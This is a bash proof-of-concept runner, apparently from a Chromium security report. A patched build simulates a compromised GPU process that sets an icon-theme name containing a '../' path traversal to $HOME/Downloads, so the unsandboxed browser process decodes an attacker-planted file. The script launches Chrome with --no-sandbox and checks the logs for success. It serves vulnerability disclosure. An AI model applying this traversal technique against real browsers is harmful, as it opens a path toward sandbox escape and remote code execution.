#!/bin/bash
# POC runner: Net/IconThemeName XSETTINGS path-traversal -> browser-process
# gdk-pixbuf invocation on attacker-chosen file.
#
# Prerequisite: chromium-changes.patch applied and `autoninja -C out/asan chrome`
# rebuilt. The patch contains:
#   1. GPU-process injection (ui/ozone/platform/x11/ozone_platform_x11.cc):
#      simulates a compromised GPU process taking _XSETTINGS_S0 over the
#      pre-sandbox X11 socket and publishing
#      Net/IconThemeName="../../../../../../../../../..$HOME/Downloads".
#   2. Browser-process observability LOG only (ui/gtk/gtk_ui.cc): prints the
#      gtk-icon-theme-name and the resolved on-disk file that gdk-pixbuf is
#      about to decode. This is *not* part of the attack; it makes the result
#      visible without an external tracer.
set -e

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
HERE="$(cd "$(dirname "$0")" && pwd)"
PROFILE=/tmp/chrome-poc-profile
LOG=/tmp/chrome-poc.log

rm -rf "$PROFILE" "$HOME/Downloads" "$LOG"
mkdir -p "$HOME/Downloads"

# Start the server (also pre-plants ~/Downloads/{index.theme,application-pdf.png}
# to simulate the prior renderer auto-downloads from steps 1-2 of the attack).
python3 "$HERE/server.py" >"$HERE/server.log" 2>&1 &
SRV=$!
trap 'kill $SRV 2>/dev/null; wait $SRV 2>/dev/null || true' EXIT
sleep 1

echo "[*] launching chrome (X11) ..."
timeout 30 "$CHROME" \
    --ozone-platform=x11 \
    --no-first-run --no-default-browser-check \
    --disable-background-networking \
    --user-data-dir="$PROFILE" \
    --no-sandbox \
    http://127.0.0.1:18080/poc.html \
    >"$LOG" 2>&1 || true

echo
echo "============================================================"
echo " POC-relevant log lines (full log: $LOG)"
echo "============================================================"
grep -E '\[POC\]' "$LOG" || true
echo "============================================================"
echo

if grep -q 'gdk-pixbuf will decode: .*Downloads.*application-pdf' "$LOG"; then
    echo "[+] SUCCESS: browser process resolved icon to attacker-controlled"
    echo "    file under \$HOME/Downloads via path-traversal in"
    echo "    gtk-icon-theme-name set by the GPU process over XSETTINGS."
    echo "    gdk-pixbuf decoded that file inside the unsandboxed browser"
    echo "    process. In a real attack the PNG would be a gdk-pixbuf/librsvg"
    echo "    memory-corruption payload (browser-process RCE / sandbox escape)."
    exit 0
else
    echo "[-] FAILED: expected '[POC] browser-process ... Downloads/.../"\
"application-pdf.png' line not found."
    exit 1
fi